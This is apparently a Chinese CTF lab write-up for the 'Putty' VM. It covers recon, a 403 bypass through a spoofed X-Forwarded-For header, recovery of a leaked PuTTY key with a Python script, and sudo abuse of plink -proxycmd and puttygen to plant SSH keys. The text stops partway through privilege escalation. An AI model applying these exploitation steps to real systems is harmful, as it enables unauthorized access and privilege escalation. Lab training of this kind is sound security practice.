

群友靶机-Putty-Tuf

信息收集

```
# Nmap 7.98 scan initiated Thu Jul  2 04:49:09 2026 as: /usr/lib/nmap/nmap -p22,80 -A -oA details 10.0.2.68
```

Nmap scan report for 10.0.2.68

Host is up (0.00086s latency).

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 10.3 (protocol 2.0)

80/tcp open http Apache httpd 2.4.67 ((Unix))

|_http-title: dprod - Digital product design agency

|_http-server-header: Apache/2.4.67 (Unix)

| http-methods:

|_ Potentially risky methods: TRACE

MAC Address: 08:00:27:48:FF:E1 (Oracle VirtualBox virtual NIC)

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

Aggressive OS guesses: Linux 4.15 - 5.19 (97%), OpenWrt 22.03 (Linux 5.10) (94%), Android 9 - 10 (Linux 4.9 - 4.14) (93%), Linux 2.6.32 (93%), Linux 5.10 - 5.19 (93%), Linux 3.2 - 4.14 (93%), OpenWrt 21.02 (Linux 5.4) (93%), Linux 2.6.32 - 3.10 (93%), Linux 5.4 - 5.10 (92%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (92%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 1 hop

TRACEROUTE

HOP RTT ADDRESS

1 0.86 ms 10.0.2.68

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

```
# Nmap done at Thu Jul  2 04:49:19 2026 -- 1 IP address (1 host up) scanned in 10.74 seconds
```

```
# Nmap 7.98 scan initiated Thu Jul  2 04:20:46 2026 as: /usr/lib/nmap/nmap -sU -F --reason -oA udp 10.0.2.68
```

Nmap scan report for 10.0.2.68

Host is up, received arp-response (0.00067s latency).

All 100 scanned ports on 10.0.2.68 are in ignored states.

Not shown: 100 closed udp ports (port-unreach)

MAC Address: 08:00:27:48:FF:E1 (Oracle VirtualBox virtual NIC)

```
# Nmap done at Thu Jul  2 04:22:31 2026 -- 1 IP address (1 host up) scanned in 105.38 seconds
```

```
(kali@kali)-[~/Desktop/maze-sec/putty]
└─$ dirsearch -u http://10.0.2.68
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning:
pkg_resources is deprecated as an API. See
https://setuptools.pypa.io/en/latest/pkg_resources.html
    from pkg_resources import DistributionNotFound, VersionConflict
```

```
  _|. _ _  _  _ _ _|. _ _  v0.4.3
  ( _||| _ ) (/_(_|| ( _| )
```

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Desktop/maze-sec/putty/reports/http_10.0.2.68/_26-07-02_10-24-42.txt

Target: http://10.0.2.68/

```
[10:24:42] Starting:
[10:24:42] 403 - 312B - /php.zip
[10:24:42] 403 - 312B - /aspx.zip
[10:24:42] 403 - 312B - /jsp.zip
[10:24:42] 403 - 312B - /js.zip
[10:24:42] 403 - 312B - /html.zip
[10:24:42] 403 - 312B - /.agilekeychain.zip
[10:24:43] 403 - 312B - /.ht_wsr.txt
[10:24:43] 403 - 312B - /.htaccess.bak1
[10:24:43] 403 - 312B - /.htaccess.orig
[10:24:43] 403 - 312B - /.htaccess.sample
[10:24:43] 403 - 312B - /.htaccess.save
[10:24:43] 403 - 312B - /.htaccess_extra
[10:24:43] 403 - 312B - /.htaccess_orig
[10:24:43] 403 - 312B - /.htaccess_sc
[10:24:43] 403 - 312B - /.htaccessBAK
[10:24:43] 403 - 312B - /.htaccessOLD
[10:24:43] 403 - 312B - /.htaccessOLD2
[10:24:43] 403 - 312B - /.htm
[10:24:43] 403 - 312B - /.html
[10:24:43] 403 - 312B - /.htpasswd_test
[10:24:43] 403 - 312B - /.htpasswd
[10:24:43] 403 - 312B - /.httr-oauth
[10:24:45] 403 - 312B - /.zip
[10:24:45] 403 - 312B - /1.zip
[10:24:45] 403 - 312B - /2010.zip
[10:24:45] 403 - 312B - /2011.zip
[10:24:45] 403 - 312B - /2012.zip
[10:24:45] 403 - 312B - /2013.zip
[10:24:45] 403 - 312B - /2014.zip
[10:24:45] 403 - 312B - /2015.zip
[10:24:45] 403 - 312B - /2016.zip
[10:24:45] 403 - 312B - /2017.zip
[10:24:45] 403 - 312B - /2018.zip
```

```
[10:24:45] 403 - 312B - /2019.zip
[10:24:45] 403 - 312B - /2020.zip
[10:24:54] 403 - 312B - /archive.zip
[10:24:54] 200 - 425B - /assets/
[10:24:54] 301 - 345B - /assets -> http://10.0.2.68/assets/
[10:24:54] 403 - 312B - /auth.zip
[10:24:55] 403 - 312B - /backup.zip
[10:24:55] 403 - 312B - /backups.zip
[10:24:56] 200 - 820B - /cgi-bin/printenv
[10:24:56] 200 - 1KB - /cgi-bin/test-cgi
[10:24:57] 403 - 312B - /clients.zip
[10:24:57] 403 - 312B - /com.zip
[10:24:58] 403 - 312B - /config.php.zip
[10:24:58] 403 - 312B - /configuration.php.zip
[10:24:59] 403 - 312B - /dat.zip
[10:25:01] 403 - 312B - /dump.zip
[10:25:01] 403 - 312B - /engine.zip
[10:25:02] 403 - 312B - /files.zip
[10:25:03] 403 - 312B - /forum.zip
[10:25:04] 403 - 312B - /home.zip
[10:25:05] 403 - 312B - /index.zip
[10:25:06] 403 - 312B - /joomla.zip
[10:25:09] 403 - 312B - /master.zip
[10:25:09] 403 - 312B - /media.zip
[10:25:10] 403 - 312B - /my.zip
[10:25:10] 403 - 312B - /mysql.zip
[10:25:11] 403 - 312B - /new.zip
[10:25:11] 403 - 312B - /old.zip
[10:25:17] 403 - 312B - /server-status
[10:25:17] 403 - 312B - /server-status/
[10:25:19] 403 - 312B - /site.zip
[10:25:19] 403 - 312B - /sql.zip
[10:25:23] 403 - 312B - /vb.zip
[10:25:24] 403 - 312B - /web.zip
[10:25:24] 403 - 312B - /website.zip
[10:25:24] 403 - 312B - /wordpress.zip
[10:25:24] 403 - 312B - /wp-config.php.zip
[10:25:25] 403 - 312B - /wp.zip
[10:25:25] 403 - 312B - /www.zip
[10:25:25] 403 - 312B - /wwwroot.zip
```

Task Completed



Our included

Aliquam tristique libero at dui sodales, et
placerat orci lobortis. Donec metus lorem,

80静态页面 目录扫描经过提示发现zip后缀大量403 经过手动测试发现过滤了任何zip后缀的文件名以及403 因此思路就是403 bypass 找到可能被过滤的zip文件

参考[hacktricks](#) 这里使用的是[fuzzhttpbypass](#)

```
—(kali㉿kali)-[~/Desktop/maze-sec/putty]
└─$ python3 403.py -u http://10.0.2.68/123.zip -W "--hc 403 --hh 312"
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not
compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites.
Check Wfuzz's documentation for more information.

[+] Testing URL: http://10.0.2.68/123.zip
[i] Making a simple GET request the returned code was 403 and the length of the body
was 312
[i] Found IP(s) for domain 10.0.2.68: 10.0.2.68
[i] IPs that are going to be used for FUZZING: 127.0.0.1-8.8.4.4-10.0.2.68

[+] Fuzzing Path variations...
[c] Trying: -z list,%2e-%252e-%ef%bc%8f --hc 403 --hh 312 --req-delay 30 --conn-delay
30 -Z http://10.0.2.68/FUZZ/123.zip
[+] Fuzzing HTTP Verbs (methods)...
[c] Trying: -z list,GET-HEAD-POST-DELETE-CONNECT-OPTIONS-TRACE-PUT-INVENTED --hc 403
--hh 312 -X FUZZ --req-delay 30 --conn-delay 30 -Z http://10.0.2.68/123.zip
00011:  C=200      6 L      11 W      131 Ch      "TRACE - TRACE"
00009:  C=400     10 L     36 W     347 Ch      "CONNECT - CONNECT"
[c] Trying: -z list,GET-HEAD-POST-DELETE-CONNECT-OPTIONS-TRACE-PUT-INVENTED --hc 403
--hh 312 -X FUZZ --req-delay 30 --conn-delay 30 -Z http://10.0.2.68/index.php
00015:  C=404      9 L     32 W     309 Ch      "GET - GET"
00021:  C=200      6 L     11 W     133 Ch      "TRACE - TRACE"
00023:  C=501     10 L     31 W     320 Ch      "INVENTED - INVENTED"
00020:  C=200      0 L      0 W      0 Ch      "OPTIONS - OPTIONS"
00017:  C=404      9 L     32 W     309 Ch      "POST - POST"
00018:  C=405      9 L     35 W     336 Ch      "DELETE - DELETE"
00022:  C=405      9 L     35 W     333 Ch      "PUT - PUT"
00016:  C=404      0 L      0 W      0 Ch      "HEAD - HEAD"
```

```

00019:  C=400      10 L      36 W      347 Ch      "CONNECT - CONNECT"
[c] Trying: -z list,GET-HEAD-POST-DELETE-CONNECT-OPTIONS-TRACE-PUT-INVENTED --hc 403
--hh 312 -X FUZZ --req-delay 30 --conn-delay 30 -Z http://10.0.2.68/index
00025:  C=404      9 L      32 W      309 Ch      "GET - GET"
00031:  C=200      6 L      11 W      129 Ch      "TRACE - TRACE"
00026:  C=404      0 L      0 W      0 Ch      "HEAD - HEAD"
00033:  C=501     10 L      31 W      320 Ch      "INVENTED - INVENTED"
00030:  C=200      0 L      0 W      0 Ch      "OPTIONS - OPTIONS"
00029:  C=400     10 L      36 W      347 Ch      "CONNECT - CONNECT"
00032:  C=405      9 L      35 W      333 Ch      "PUT - PUT"
00027:  C=404      9 L      32 W      309 Ch      "POST - POST"
00028:  C=405      9 L      35 W      336 Ch      "DELETE - DELETE"
[c] Trying: -z list,GET-HEAD-POST-DELETE-CONNECT-OPTIONS-TRACE-PUT-INVENTED --hc 403
--hh 312 -X FUZZ --req-delay 30 --conn-delay 30 -Z http://10.0.2.68/index.html
00041:  C=200      6 L      11 W      134 Ch      "TRACE - TRACE"
00035:  C=200     889 L     1389 W     27045 Ch      "GET - GET"
00036:  C=200      0 L      0 W      0 Ch      "HEAD - HEAD"
00037:  C=200     889 L     1389 W     27045 Ch      "POST - POST"
00038:  C=405      9 L      35 W      336 Ch      "DELETE - DELETE"
00043:  C=501     10 L      31 W      320 Ch      "INVENTED - INVENTED"
00040:  C=200      0 L      0 W      0 Ch      "OPTIONS - OPTIONS"
00042:  C=405      9 L      35 W      333 Ch      "PUT - PUT"
00039:  C=400     10 L      36 W      347 Ch      "CONNECT - CONNECT"
[c] Trying: -z list,GET-HEAD-POST-DELETE-CONNECT-OPTIONS-TRACE-PUT-INVENTED --hc 403
--hh 312 -X FUZZ --req-delay 30 --conn-delay 30 -Z http://10.0.2.68/index.asp
00051:  C=200      6 L      11 W      133 Ch      "TRACE - TRACE"
00045:  C=404      9 L      32 W      309 Ch      "GET - GET"
00047:  C=404      9 L      32 W      309 Ch      "POST - POST"
00052:  C=405      9 L      35 W      333 Ch      "PUT - PUT"
00049:  C=400     10 L      36 W      347 Ch      "CONNECT - CONNECT"
00050:  C=200      0 L      0 W      0 Ch      "OPTIONS - OPTIONS"
00046:  C=404      0 L      0 W      0 Ch      "HEAD - HEAD"
00048:  C=405      9 L      35 W      336 Ch      "DELETE - DELETE"
00053:  C=501     10 L      31 W      320 Ch      "INVENTED - INVENTED"
[c] Trying: -z list,GET-HEAD-POST-DELETE-CONNECT-OPTIONS-TRACE-PUT-INVENTED --hc 403
--hh 312 -X FUZZ --req-delay 30 --conn-delay 30 -Z http://10.0.2.68/index.aspx
00055:  C=404      9 L      32 W      309 Ch      "GET - GET"
00057:  C=404      9 L      32 W      309 Ch      "POST - POST"
00060:  C=200      0 L      0 W      0 Ch      "OPTIONS - OPTIONS"
00062:  C=405      9 L      35 W      333 Ch      "PUT - PUT"
00058:  C=405      9 L      35 W      336 Ch      "DELETE - DELETE"
00059:  C=400     10 L      36 W      347 Ch      "CONNECT - CONNECT"
00061:  C=200      6 L      11 W      134 Ch      "TRACE - TRACE"
00056:  C=404      0 L      0 W      0 Ch      "HEAD - HEAD"
00063:  C=501     10 L      31 W      320 Ch      "INVENTED - INVENTED"
[c] Trying: -z list,GET-HEAD-POST-DELETE-CONNECT-OPTIONS-TRACE-PUT-INVENTED --hc 403
--hh 312 -X FUZZ --req-delay 30 --conn-delay 30 -Z http://10.0.2.68/
00067:  C=200     889 L     1389 W     27045 Ch      "POST - POST"
00065:  C=200     889 L     1389 W     27045 Ch      "GET - GET"
00071:  C=200      6 L      11 W      124 Ch      "TRACE - TRACE"
00070:  C=200      0 L      0 W      0 Ch      "OPTIONS - OPTIONS"
00073:  C=501     10 L      31 W      320 Ch      "INVENTED - INVENTED"
00066:  C=200      0 L      0 W      0 Ch      "HEAD - HEAD"

```

```
00068:  C=405      9 L      35 W      336 Ch      "DELETE - DELETE"
00069:  C=400     10 L      36 W      347 Ch      "CONNECT - CONNECT"
00072:  C=405      9 L      35 W      333 Ch      "PUT - PUT"
```

[+] Fuzzing HTTP Headers...

[+] Forwarded

```
[c] Trying: -z list,127.0.0.1-8.8.4.4-10.0.2.68_hidden-_secret-unknown -z
list,127.0.0.1-8.8.4.4-10.0.2.68 -z list,127.0.0.1-8.8.4.4-10.0.2.68 -z list,http-
https --hc 403 --hh 312 -H 'Forwarded:for=FUZZ;by=FUZZ2Z;host=FUZZ3Z;proto=FUZZ4Z' --
req-delay 30 --conn-delay 30 -Z http://10.0.2.68/123.zip
```

[+] X-Originating-IP

```
[c] Trying: -z list,127.0.0.1-8.8.4.4-10.0.2.68 --hc 403 --hh 312 -H X-Originating-
IP:FUZZ --req-delay 30 --conn-delay 30 -Z http://10.0.2.68/123.zip
```

[+] X-Forwarded-For

```
[c] Trying: -z list,127.0.0.1-8.8.4.4-10.0.2.68 --hc 403 --hh 312 -H X-Forwarded-
For:FUZZ --req-delay 30 --conn-delay 30 -Z http://10.0.2.68/123.zip
```

```
00170:  C=404      9 L      32 W      309 Ch      "127.0.0.1"
```

[+] X-Forwarded

```
[c] Trying: -z list,127.0.0.1-8.8.4.4-10.0.2.68 --hc 403 --hh 312 -H X-Forwarded:FUZZ
--req-delay 30 --conn-delay 30 -Z http://10.0.2.68/123.zip
```

[+] Forwarded-For

```
[c] Trying: -z list,127.0.0.1-8.8.4.4-10.0.2.68 --hc 403 --hh 312 -H Forwarded-
For:FUZZ --req-delay 30 --conn-delay 30 -Z http://10.0.2.68/123.zip
```

[+] X-Remote-IP

```
[c] Trying: -z list,127.0.0.1-8.8.4.4-10.0.2.68 --hc 403 --hh 312 -H X-Remote-IP:FUZZ
--req-delay 30 --conn-delay 30 -Z http://10.0.2.68/123.zip
```

[+] X-Remote-Addr

```
[c] Trying: -z list,127.0.0.1-8.8.4.4-10.0.2.68 --hc 403 --hh 312 -H X-Remote-
Addr:FUZZ --req-delay 30 --conn-delay 30 -Z http://10.0.2.68/123.zip
```

[+] X-ProxyUser-Ip

```
[c] Trying: -z list,127.0.0.1-8.8.4.4-10.0.2.68 --hc 403 --hh 312 -H X-ProxyUser-
Ip:FUZZ --req-delay 30 --conn-delay 30 -Z http://10.0.2.68/123.zip
```

[+] X-Original-URL

```
[c] Trying: -z list,127.0.0.1-8.8.4.4-10.0.2.68 --hc 403 --hh 312 -H X-Original-
URL:FUZZ --req-delay 30 --conn-delay 30 -Z http://10.0.2.68/123.zip
```

[+] Client-IP

```
[c] Trying: -z list,127.0.0.1-8.8.4.4-10.0.2.68 --hc 403 --hh 312 -H Client-IP:FUZZ -
--req-delay 30 --conn-delay 30 -Z http://10.0.2.68/123.zip
```

[+] True-Client-IP

```
[c] Trying: -z list,127.0.0.1-8.8.4.4-10.0.2.68 --hc 403 --hh 312 -H True-Client-
IP:FUZZ --req-delay 30 --conn-delay 30 -Z http://10.0.2.68/123.zip
```

[+] Cluster-Client-IP

```
[c] Trying: -z list,127.0.0.1-8.8.4.4-10.0.2.68 --hc 403 --hh 312 -H Cluster-Client-
IP:FUZZ --req-delay 30 --conn-delay 30 -Z http://10.0.2.68/123.zip
```

[+] X-ProxyUser-Ip

```
[c] Trying: -z list,127.0.0.1-8.8.4.4-10.0.2.68 --hc 403 --hh 312 -H X-ProxyUser-
Ip:FUZZ --req-delay 30 --conn-delay 30 -Z http://10.0.2.68/123.zip
```

[+] Host

```
[c] Trying: -z list,127.0.0.1-8.8.4.4-10.0.2.68 --hc 403 --hh 312 -H Host:FUZZ --req-
delay 30 --conn-delay 30 -Z http://10.0.2.68/123.zip
```

[+] Referer

```
[c] Trying: -z list,http://10.0.2.68/123.zip --hc 403 --hh 312 -H Referer:FUZZ --req-
delay 30 --conn-delay 30 -Z http://10.0.2.68/123.zip
```

[+] User-Agent

```
[c] Trying: -w /tmp/list-ua.txt --hc 403 --hh 312 -H User-Agent:FUZZ --req-delay 30 -
-conn-delay 30 -Z http://10.0.2.68/123.zip
[+] Fuzzing HTTP Authentication...
    [+] Basic
[c] Trying: -z list,admin-administrator-root-anonymous-ftp-guest-superadmin-tomcat-
user-test-public-mysql --hc 403 --hh 312 --basic FUZZ:FUZZ --req-delay 30 --conn-
delay 30 -Z http://10.0.2.68/123.zip
[c] Trying: -z list,admin-administrator-root-anonymous-ftp-guest-superadmin-tomcat-
user-test-public-mysql -z list,admin-administrator-password-123456-12345678-root-
toor-qwerty-anonymous-True --hc 403 --hh 312 --basic FUZZ:FUZZ --req-delay 30 --
conn-delay 30 -Z http://10.0.2.68/123.zip
    [+] NTLM
[c] Trying: -z list,admin-administrator-root-anonymous-ftp-guest-superadmin-tomcat-
user-test-public-mysql --hc 403 --hh 312 --ntlm FUZZ:FUZZ --req-delay 30 --conn-delay
30 -Z http://10.0.2.68/123.zip
[c] Trying: -z list,admin-administrator-root-anonymous-ftp-guest-superadmin-tomcat-
user-test-public-mysql -z list,admin-administrator-password-123456-12345678-root-
toor-qwerty-anonymous-True --hc 403 --hh 312 --ntlm FUZZ:FUZZ --req-delay 30 --conn-
delay 30 -Z http://10.0.2.68/123.zip
```

可以看到输出里面X-Forwarded-For里面响应的是404 成功绕过 因此继续爆破

```
(kali㉿kali)-[~/Desktop/maze-sec/putty]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u
http://10.0.2.68 -b 403 -H 'X-Forwarded-For: 127.0.0.1' --exclude-length 309 -x zip
=====
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url: http://10.0.2.68
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-
medium.txt
[+] Negative Status codes: 403
[+] Exclude Length: 309
[+] User Agent: gobuster/3.8
[+] Extensions: zip
[+] Timeout: 10s
=====
Starting gobuster in directory enumeration mode
=====
/1.zip (Status: 200) [Size: 2383]
/assets (Status: 301) [Size: 345] [--> http://10.0.2.68/assets/]
Progress: 441116 / 441116 (100.00%)
=====
Finished
=====
```

发现1.zip

```
(kali㉿kali)-[~/Desktop/maze-sec/putty/loot]
└─$ curl -H 'X-Forwarded-For: 127.0.0.1' http://10.0.2.68/1.zip -o ./1.zip
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload  Total  Spent    Left  Speed
100  2383 100  2383    0      0  1181k    0  --:--:-- --:--:-- --:--:-- 2327k
```

```
(kali㉿kali)-[~/Desktop/maze-sec/putty/loot]
└─$ unzip 1.zip
Archive: 1.zip
  creating: backup_web/
  inflating: backup_web/key.ppk
```

```
(kali㉿kali)-[~/Desktop/maze-sec/putty/loot]
└─$ cat backup_web/key.ppk
PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
Comment: brendon
Public-Lines: 12
AAAAB3NzaC1yc2EAAAADAQABAAQCAQC20DOGUv1JrvtV8ROj8QNhEtUGtNthRkH3
3RUdRKdW/vvBf4xehfbsRVcc4EQwFEGG8uL4DH2bxWno68JDK7lNOQapAr5RYgiq
Bed3XlgFhxlaAdvV9qXC7V5VdHvaD37DtRE+5Emk4/u2sFvaMKfROb8/9ke3o+F3
hpZGYczUErxsX+y4Wx5psIn3i/QMs8gYQ1swtm0IaPal2g/GreP9B3KXhe/NcXim
PF5LszSIhi54jl1rkh5LFeRRu/LcCVdF7a7C9/ghQauwLONDpuFDC3Wl/r0vZnBga
l1WQ4r+pTfPes1btowRzno+5fIFmmCJWZvR2qC8C0yQC9zI0dUx7sR9Z+2/54sWY
Yd03HPrQaHlCCIB+i8wBlwktYZfZP/cwReB8N52L6bNoL/UBbOWKcAQkPHV+BMXh
WbMv1Pmf0VB2COWrY3FmgpEQV7ICgftnKYSiSudQg8NKP9KJ00nDg7k+F1ekTi48
Dbno305L117eUY08nShuR/4NSfHPJ81QDPI7TK4r2X4E9s3sL9WTb5wsNckd3HH/
TxG/SZTtt9q5iBoJiKDCI2FIXr9Bx+Xp7yTw72hQe31qzfAaAtdMc20vxVkuAAH
rHsrVUAtr94dJ5Sjzf7y2hIGr443dK3TK37s5QZR58Ggf05IROaFh9EZRApJHU12
IEx3zQ2PHw==
```

```
Private-Lines: 28
AAACAAQFQtzVaRSnGzKiAViTawwDf1k3vmC+oXzIs/TXfwapckf90iHSDcLXKOSj
BLI5/9GZTec+qb80nEZZyQVJKjjJ5EebSSw+XQpq5ChP6Yeq7PfPH/1DVhSaESpi
oXFY8zoX+q/IvYXkLbOwNT+bNQBOUNJ19tB8c4ekF3H80fsSs79+bJUGtqiEZW8N
o5RpRSF0JJdHASbfiBfQWpXNWpJEs6n0xvNcZ4GLGlfNMn6Tf4954k8xsXH+XmCt
K36K/KHGQIuCFBRTWwBJg5l9VCyKSg5bcznEoRMUo6EdcNxRsTyt8l96PQLTSJM/
wGjNN77Gt4xUg+l//e7Cw6vmWlQ7l+nDqXnbcgUEItizYlM2DauSq9hdsYseD5w/
B+kYgS3aENTMFAE7CuFwtlkysy0L5bw/U+Zx5iuGKQX8CY8ycW8hrmSF6MVkkhcA
h7VWUW2t066o1drfHIupUtgRZTSBhIrwnCdqTxMosVig0sPBrDILM2l3vrBk596T
rRNWZcCjrewDHmu2yFcitgcyVCXBHpvY7+oeb0iYcapoqFNV77l3E0dse2JAFKxo
x7/vFfJ6w9zLFsYIUe58YpczU04M/luoEhA319600lPRJvBIae01Kg6ceMhBNHyL
CX5pIGtmkvC7zANZjGINXGCx6PS08HSvW28EAglY/IDrCXhAAABAQD9VCcDfhSa
Y9V4xz65bxzp4t2geAKXsSU0tBaZtoDmKYnCAqWAV6nOYWny4yFvhnxiDvXfdAY
50iBjBGEAIUFcWxbA+9PtS9/26vVGLKE2GjV8CalqoM5HIOPGdKIhg3KMEC5QegT
XJnAIyJEilFGnRXv2D6wNlbBb4EUaX02XeIFWq8j1w8HDL5hvtwuHdqcy00Xgbjt
fogXK9bk6+K0rfNPXG4+GGIqMT62hszzuaV5qEl2A75Vsz55zTUPxInt+xFH5oZ2
DmHqejccDKtQZZKPjJ3CZv6U3JMrC1LGLJP40lagL8q0UTt/rz36/wGEynI0iry
nB124TaV+uIVAAAABAQC4vbI3EsfA8aoinqzNZg8ii67xfaSmU42+FEPH2jfVQUXK
b2vhZwrFko8BqoUaNAAdjLIS/I6ZCrCOP/T7lXo/IrjxiA+Gtb9jBcFFWECIDCiDM
HYOZVoTj+eFbBatJ3WwQF2+LtwDxb83r0EmnMBn8Cz8iavVudQcFNR9aia3sCByL
/ehVZ04ab0i77VWAGFQweSPfqjJP+3RfhMeJWuUa5VyTyIetf106B7EQ3aDYz94G
82DaF2frELhZp3R52ep9hWU48EB65ATSqTR+VhENYgWrnE+4V2kkZW779hW2LBRW
```



```
WL/MdhgPQxP5yhZhSegEDG00JMA/0g/xdTA7bN1jAAABAQCZ4XnGCK7wYkr4eq0n
iyYg+eGGVhFTRfKWpXMJx0702R2ve49YEX1w+EMZkPmxA6MztWnn+H2dwf/h37PR
tN/ZBK7sgAUM22/000tdKlseC5N9g0/hvSPrvGjpj7vLPaOVjoMSW0sjRZ0hVqB8
fapY8aQ8APKbFjvu1EhdesS0430mMzvgmztK8QyMp814zT0bcVrEoeh6Ziastvg
PjhLgp7RFmexNC4BoTW3KWRnnWoTU7MH0QWVdE3VtWRdBhU35hIQgtWIJ90H95Gr
ETaNB0NA+9sLEkNmX1N1dhXDkEfp/vzVjPg2SdPbXfddagc3DAhnQh1tZH933m+I
iCYh
Private-MAC: 6c08d7ea1b26b22ac8732488410d63f14fb14ddeffd817bc7cfda1d2e311444d
```

发现一个ppk文件 也就是putty专用的私钥格式 我们需要转换成ssh私钥

```
└─(kali㉿kali)-[~/Desktop/maze-sec/putty/loot]
└─$ puttygen backup_web/key.ppk -O private-openssh -o id_rsa
puttygen: error loading `backup_web/key.ppk': MAC failed
```

提示 MAC failed，不难怀疑这份 .ppk 的 MAC 校验被修改过，导致 puttygen 无法直接正常导入。

参考[puttyssh](#)官方对 PPK 格式的说明，PPK 文件本质上就是 **把 RSA 私钥参数按固定结构存放，再附带一个 MAC 用来校验文件完整性。**

公钥数据已提供密钥模数和公钥编码指数。私有数据存储：

- mpint：密钥的私有解码指数。
- mpint：密钥的一个质因数 p 。
- mpint：密钥的另一个质因数 q 。（以这种格式存储的 RSA 密钥应恰好有两个质因数。）
- mpint： q 模 p 的乘法逆元。

因此即使 Private-MAC 损坏，只要 Public-Lines 和 Private-Lines 中的关键参数还在，就仍然可以手动恢复出完整私钥。

对于 ssh-rsa 类型的 PPK：

- **Public-Lines** 中存放的是公钥部分，按顺序可以解析出：
 - e
 - n
- **Private-Lines** 中存放的是私钥部分，按顺序可以解析出：
 - d
 - p
 - q
 - iqmp

从 PuTTY 的私钥文件里把 RSA 参数拆出来，再按 OpenSSH/PEM 的格式重新封装一遍。

我们需要的从Public-Lines提取e,n Private-Lines里面的d,p,q,iqmp

处理下导出私钥

```
import base64, struct
from pathlib import Path
from cryptography.hazmat.primitives.asymmetric import rsa
```

```
ppk = Path("key.ppk").read_text().splitlines()

def get_block(label):
    idx = ppk.index(label)
    n = int(ppk[idx].split(":")[1].strip())
    return base64.b64decode("".join(ppk[idx+1:idx+1+n]))

def read_string(b, off):
    l = struct.unpack(">I", b[off:off+4])[0]
    off += 4
    return b[off:off+l], off+l

def read_mpint(b, off):
    raw, off = read_string(b, off)
    return int.from_bytes(raw, "big"), off

pub = get_block("Public-Lines: 12")
priv = get_block("Private-Lines: 28")

keytype, off = read_string(pub, 0)
e, off = read_mpint(pub, off)
n, off = read_mpint(pub, off)

off = 0
d, off = read_mpint(priv, off)
p, off = read_mpint(priv, off)
q, off = read_mpint(priv, off)
iqmp, off = read_mpint(priv, off)

key = rsa.RSAPrivateNumbers(
    p=p, q=q, d=d,
    dmp1=d % (p - 1),
    dmq1=d % (q - 1),
    iqmp=iqmp,
    public_numbers=rsa.RSAPublicNumbers(e=e, n=n)
).private_key()

pem = key.private_bytes(
    serialization.Encoding.PEM,
    serialization.PrivateFormat.TraditionalOpenSSL,
    serialization.NoEncryption()
)

Path("id_rsa_brendon").write_bytes(pem)
```

```
\ V V / __/ | ( | ( ) | | | | | | __/
\_/\_/ \___|_| \___\___/|_| | | | | \___|
```

```
brendon@Putty:~$ ls -al
total 16
drwxr-sr-x    4 brendon  brendon      4096 Jun  8 23:27 .
drwxr-xr-x    4 root     root        4096 Jun  9 15:06 ..
drwx--S---    2 brendon  brendon      4096 Jun  8 23:24 .putty
drwx--S---    2 brendon  brendon      4096 Jun  8 23:22 .ssh
```

横向移动

```
brendon@Putty:/$ sudo -l
Matching Defaults entries for brendon on Putty:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for brendon:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User brendon may run the following commands on Putty:
    (rosers) NOPASSWD: /usr/bin/plink
```

观察plink有个可以命令执行的参数 直接写公钥

```
brendon@Putty:/home/rosers$ sudo -u rosers /usr/bin/plink -proxycmd "mkdir -p
/home/rosers/.ssh" 10.0.2.3
FATAL ERROR: Remote side unexpectedly closed network connection
brendon@Putty:/home/rosers$ sudo -u rosers /usr/bin/plink -proxycmd "echo 'ssh-
ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKCGPoAU+YPyWSXnXXnq19U0z5VV9M+LYccyj3daoVf
kali@kali' > /home/rosers/.ssh/authorized_keys" 10.0.2.3
FATAL ERROR: Remote side unexpectedly closed network connection
brendon@Putty:/home/rosers$ cd .ssh/
brendon@Putty:/home/rosers/.ssh$ ls -la
total 12
drwxr-sr-x    2 rosers   rosers      4096 Jul  2 21:40 .
drwxr-sr-x    4 rosers   rosers      4096 Jul  2 21:39 ..
-rw-r--r--    1 rosers   rosers        91 Jul  2 21:40 authorized_keys
brendon@Putty:/home/rosers/.ssh$ cat authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKCGPoAU+YPyWSXnXXnq19U0z5VV9M+LYccyj3daoVf
kali@kali
```

```
└─(kali㉿kali)-[~/ .ssh]
└─$ ssh rosers@10.0.2.68
```

```

--          --
\ \ /\ / / _ \ | / __/ _ \ | ' _ ' _ \ / _ \
 \ V V / __/ | ( | ( ) | | | | | | __/
  \_/\_/ \___|_| \___\___/|_| | | | | \___|
```

```
rosers@Putty:~$ id
uid=1001(rosers) gid=1001(rosers) groups=1001(rosers)
```

权限提升

```
rosers@Putty:~$ sudo -l
Matching Defaults entries for rosers on Putty:
    secure_path=/usr/local/sbin\::/usr/local/bin\::/usr/sbin\::/usr/bin\::/sbin\::/bin

Runas and Command-specific defaults for rosers:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User rosers may run the following commands on Putty:
    (ALL) NOPASSWD: /usr/bin/puttygen
```

也是利用puttgen直接输出公钥

```
rosers@Putty:~$ ssh-keygen -t rsa -b 2048 -f /tmp/atk_root -N ''
Generating public/private rsa key pair.
/tmp/atk_root already exists.
Overwrite (y/n)? y
Your identification has been saved in /tmp/atk_root
Your public key has been saved in /tmp/atk_root.pub
The key fingerprint is:
SHA256:7pbXNrtvOp9j9mYN2q7gcUUhyYM7pBFA3oCt+pPgLp4 rosers@Putty
The key's randomart image is:
+---[RSA 2048]-----+
|      ++... o... |
|      ...o. o +. . |
|      .. .+ . .. |
|      . . . o . . |
|      . S . . . |
|      o . . . . |
